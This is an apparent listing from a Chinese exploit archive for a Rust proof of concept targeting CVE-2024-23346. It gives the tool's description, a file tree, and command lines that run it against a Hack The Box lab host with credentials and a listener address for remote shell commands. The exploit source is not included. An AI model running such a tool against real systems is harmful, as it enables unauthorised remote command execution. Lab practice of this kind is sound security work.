关联漏洞
描述
A Rust exploit for CVE-2024-23346 that functions as a "terminal" (tested on chemistry.htb)
介绍
A Rust exploitation script for CVE-2024-23346.
As shown below the POC uses the code injection vulnerability and runs remote shell commands like in a Terminal.
[poc.webm](https://github.com/user-attachments/assets/0d1e15d8-21c3-4c32-9ae2-8539461ca257)
---
Steps to run the exploit:
- Run directly with `Cargo`
- `cargo run -- --help`
- `cargo run -- --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19`
OR
- Compile the Binary: `cargo build -r` (binary will be in `target/release/poc`)
- Run the Binary:
- `./poc --help`
- `./poc --target http://10.10.11.38 --username "Admin" --password "Admin@123" --lhost 10.10.14.19`
---
Exploit script is inspired from Python Scripting Expert [MAWK0235](https://github.com/MAWK0235)
文件快照
[4.0K] /data/pocs/5a760343e248f15aa3bb86e391662b9f58529977
├── [ 47K] Cargo.lock
├── [ 324] Cargo.toml
├── [4.0K] file
│ └── [ 622] poc.cif
├── [ 782] README.md
└── [4.0K] src
└── [7.9K] main.rs
2 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。